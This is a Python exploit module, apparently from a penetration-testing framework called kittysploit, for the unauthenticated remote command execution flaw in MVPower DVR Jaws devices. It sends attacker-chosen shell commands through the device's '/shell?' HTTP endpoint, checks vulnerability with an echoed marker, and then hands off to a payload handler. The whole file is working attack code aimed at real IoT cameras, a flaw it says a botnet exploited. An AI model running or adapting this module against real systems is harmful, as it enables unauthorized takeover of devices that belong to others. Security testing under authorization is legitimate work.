MVPower DVR Jaws RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""MVPower DVR Jaws RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'MVPower DVR Jaws RCE',
        'description': "Module exploits MVPower DVR Jaws RCE vulnerability through \\'shell\\' resource.Successful exploitation allows remote unauthorized attacker to execute commands on operating system level. Vulnerablity was actively used by IoT Reaper botnet.",
        'author': ['Paul Davies (UHF-Satcom)', 'Andrew Tierney (Pen Test Partners)', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/', 'https://www.pentestpartners.com/security-blog/pwning-cctv-cameras'],
        'tags': ['iot', 'camera', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        path = "/shell?{}".format(cmd)
        response = self.http_request(
            method="GET",
            path=path,
        )

        if response:
            return response.text

        return ""
    def check(self):
        mark = self.random_text(16)
        cmd = "echo {}".format(mark)

        if mark in self.execute(cmd):
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()